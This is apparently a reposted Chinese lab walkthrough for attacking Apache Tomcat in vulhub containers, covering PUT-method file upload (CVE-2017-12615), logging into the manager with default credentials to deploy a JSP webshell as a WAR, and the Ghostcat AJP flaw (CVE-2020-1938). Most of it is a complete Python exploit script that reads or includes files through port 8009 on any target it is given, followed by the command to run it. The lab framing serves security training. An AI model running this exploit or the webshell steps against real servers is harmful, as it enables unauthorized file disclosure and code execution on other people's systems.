Tomcat 靶场攻略

news2024/11/16 3:50:59

CVE-2017-12615

步骤一:环境搭建

cd vulhub/tomcat/CVE-2017-12615

docker-compose up -d

docker ps


步骤二:漏洞复现

http://192.168.10.190:8080/

步骤二:首页进行抓包

Tomcat允许适⽤put⽅法上传任意⽂件类型,但不允许jsp后缀⽂件上传,因此我们需要配合 windows的

步骤三:Webshell客户端⼯具进行连接

tomcat8

步骤一:环境搭建

cd vulhub/tomcat/tomcat8

docker-compose up -d

docker ps

步骤二:漏洞复现

http://192.168.10.190:8080/manager/html

默认密码:tomcat/tomcat

步骤三:制作WAR包,上传

将JSP⽊⻢压缩为ZIP格式,然后修改后缀为war就可以了。

步骤四:Webshell客户端⼯具进⾏连接

http://192.168.10.190:8080/shell/shell.jsp

CVE-2020-1938

步骤一:环境搭建

cd vulhub/tomcat/CVE-2020-1938

docker-compose up -d

docker ps

步骤二:漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,⼀个为 8080 的对外提供的HTTP协议端⼝,另 外⼀个就是默认的 8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip

ve-2020-1938.py:

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64


# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)


def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res


class NotFoundException(Exception):
    pass


class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction

    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res

    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break


class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
                       'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
                      "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
                      "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
                  "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction

    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res

    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res

    def parse(self, raw_packet):
        stream = io.StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res


class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]

    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length + 1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r


import socket


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", buffering=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers[
                'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res


'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse

parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
    {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print(''.join([d.data.decode('utf_8') for d in data]))

poc:

python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.10.190

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2155896.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安卓13去掉下拉菜单的Dump SysUI 堆的选项 android13删除Dump SysUI 堆

总纲 android13 rom 开发总纲说明 文章目录 1.前言2.问题分析3.代码分析3.1 位置13.2 位置24.代码修改5.编译6.彩蛋1.前言 客户需要去掉下拉菜单里面的Dump SysUI 堆图标,不让使用这个功能。 2.问题分析 android的下拉菜单在systemui里面,这里我们只需要定位到对应的添加代…

【优选算法之二分查找】No.5--- 经典二分查找算法

文章目录 前言一、二分查找模板&#xff1a;1.1 朴素二分查找模板1.2 查找区间左端点模板1.3 查找区间右端点模板 二、二分查找示例&#xff1a;2.1 ⼆分查找2.2 在排序数组中查找元素的第⼀个和最后⼀个位置2.3 搜索插⼊位置2.4 x 的平⽅根2.5 ⼭脉数组的峰顶索引2.6 寻找峰值…

Linux自主学习篇

用户及权限管理 sudo 是 "superuser do" 的缩写&#xff0c;是一个在类 Unix 操作系统&#xff08;如 Linux 和 macOS&#xff09;中使用的命令。它允许普通用户以超级用户&#xff08;root 用户&#xff09;的身份执行命令&#xff0c;从而获得更高的权限。 useradd…

多模态交互才是人机交互的未来

交互方式 在探讨文字交流、语音交流和界面交流的效率时&#xff0c;我们可以看到每种方式都有其独特的优势和局限性。文字交流便于记录和回溯&#xff0c;语音交流则在表达情绪和非语言信息方面更为高效&#xff0c;而界面交流则依赖于图形用户界面&#xff08;GUI&#xff09…

<<编码>> 第 16 章 存储器组织(4)--内存 示例电路

内存内部结构 info::操作说明 译码器用于写入, 操作同上 选择器用于输出, 操作同上 地址信号同时控制译码器和选择器, 注意地址的高位在右(比如 001 实际是 100, 选择的是 Q6 和 I6) 缺省情况下, 内部数据全是 0. 读者可先通过译码器写入, 再通过选择器输出 primary::在线交…

初学者的鸿蒙多线程并发之 TaskPool 踩坑之旅

1. 背景 目标群体&#xff1a;鸿蒙初学者 版本&#xff1a;HarmonyOS 3.1/4.0 背景&#xff1a;鸿蒙 App 的全局路由管理功能&#xff0c;需要在 App 启动时初始化对 raw 下的相关配置文件进行读取、解析并缓存。App 启动时涉及到了大量模块的初始化&#xff0c;好多模块都涉…

【machine learning-15-如何判定梯度下降是否在收敛】

我们在运行梯度下降的时候&#xff0c;如何判定梯度下降是否在收敛呢&#xff1f; 梯度下降的时候&#xff0c;权重和偏置根据如下的公式同时更新&#xff1a; 程序要做的就是更新w 和 b&#xff0c;让梯度下降尽快的收敛&#xff0c;但是如何判定正在收敛呢&#xff1f; 方法…

关于神经网络的一个介绍

这篇文章中&#xff0c;我将简单介绍下与神经网络有关的东西&#xff0c;包括它的基本模型&#xff0c;典型的算法以及与深度学习的联系等内容。 一、神经元 神经网络是由许多个神经元组成的&#xff0c;在生物的神经网络中&#xff0c;就是神经元间相互连接&#xff0c;传递…

Arthas getstatic(查看类的静态属性 )

文章目录 二、命令列表2.1 jvm相关命令### 2.1.7 getstatic&#xff08;查看类的静态属性 &#xff09; 二、命令列表 2.1 jvm相关命令 ### 2.1.7 getstatic&#xff08;查看类的静态属性 &#xff09; 使用场景&#xff1a; 我们项目部署在linux上&#xff0c;我有个本地内存…

从一到无穷大 #35 Velox Parquet Reader 能力边界

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)&#xff0c;由 李兆龙 确认&#xff0c;转载请注明版权。 文章目录 引言源码分析功能描述功能展望 引言 InfluxDB IOX这样完全不使用索引&#xff0c;只…

《沧浪之水》读后感

未完待续..... 未完待续.... 未完待续.... 【经典语录】 01、我一辈子的经验就是不要做瞎子&#xff0c;也不能做聋子&#xff0c;该听到的信息要听到&#xff0c;但是要做哑巴&#xff0c;看到了听到了心中有数就行了&#xff0c;可千万不要张口说什么。 02、你刚从学校毕业…

MQ入门(一):同步调用和异步调用--RabbitMQ基础入门

目录 1.初识MQ 1.1.同步调用 1.2.异步调用 1.3.技术选型 2.RabbitMQ 2.1.安装部署 2.2.RabbitMQ基本架构 2.3.收发消息 2.3.1.交换机 2.3.2.队列 2.3.3.绑定关系 2.3.4.发送消息 2.4.数据隔离 2.4.1.用户管理 2.4.2.virtual host 1.初识MQ 微服务一旦拆分&…

web前端字段大小写下划线转换工具

文章目录 前言一、如何使用&#xff1f;二、相关代码总结 前言 程序员在敲代码的过程中都要命名一些字段&#xff0c;但是Java语言对字段的命名规范和sql命名规范不一样&#xff0c;如下图所示&#xff0c;这种机械性的转换工作很劳神费力&#xff0c;为了省点劲写了一个web小…

尚品汇-Jenkins部署构建服务模块、Linux快照备份(五十七)

目录&#xff1a; &#xff08;1&#xff09;构建作业&#xff08;server-gateway&#xff09; &#xff08;2&#xff09;构建service_product模块 &#xff08;3&#xff09;演示添加新代码 &#xff08;4&#xff09;学会使用linux快照 &#xff08;1&#xff09;构建作…

在SpringCloud中实现服务间链路追踪

在微服务架构中&#xff0c;由于系统的复杂性和多样性&#xff0c;往往会涉及到多个服务之间的调用。当一个请求经过多个服务时&#xff0c;如果出现问题&#xff0c;我们希望能够快速定位问题所在。这就需要引入链路追踪机制&#xff0c;帮助我们定位问题。 Spring Cloud为我们…

【沪圈游戏公司作品井喷,游戏产业复兴近在眼前】

近期财报季中&#xff0c;腾讯、网易及B站等国内游戏巨头纷纷亮出亮眼的游戏业务表现&#xff0c;均实现了接近或超越双位数的同比增长。然而&#xff0c;审视过去一年&#xff0c;国内游戏行业仍笼罩在宏观经济“降本增效”的阴影下。 行业数据揭示&#xff0c;全国游戏公司社…

封装 wx.request 的必要性及其实现方式

目录 为什么需要封装 wx.request 1. 避免回调地狱 2. 统一管理 3. 扩展功能 小程序异步 API 的改进 封装实现方式 在小程序开发中&#xff0c;网络请求是不可或缺的功能之一。小程序提供了 wx.request API 来实现网络请求&#xff0c;但直接使用这个 API 在复杂场景下可…

关于SpringBoot项目使用maven打包由于Test引起的无法正常打包问题解决

一、问题描述 在日常工作中&#xff0c;在接手项目时&#xff0c;项目未必是“正常”的&#xff0c;一般平常搭建项目&#xff0c;都不会采用一键式生成的方式&#xff0c;现在说下旧项目&#xff0c;可能项目结构并不是那么简洁&#xff0c;通常都带有与main同层级的test&…

Cpp类和对象(中续)(5)

文章目录 前言一、赋值运算符重载运算符重载赋值运算符重载赋值运算符不可重载为全局函数前置和后置的重载 二、const修饰成员函数三、取地址及const取地址操作符重载四、日期类的实现构造函数日期 天数日期 天数日期 - 天数日期 - 天数日期类的大小比较日期类 > 日期类日…

嵌入式系统stm32cube本地安装出现的问题

stm32cube在线安装很慢&#xff0c;本地安装中出现的一个bug stm32cube_fw_f4_v1281安装成功之后&#xff0c;如果想安装stm32cube_fw_f4_v1281会提示stm32cube_fw_f4_v1280未安装。 如果先安装stm32cube_fw_f4_v1280之后&#xff0c;再安装stm32cube_fw_f4_v1281还会提示这个…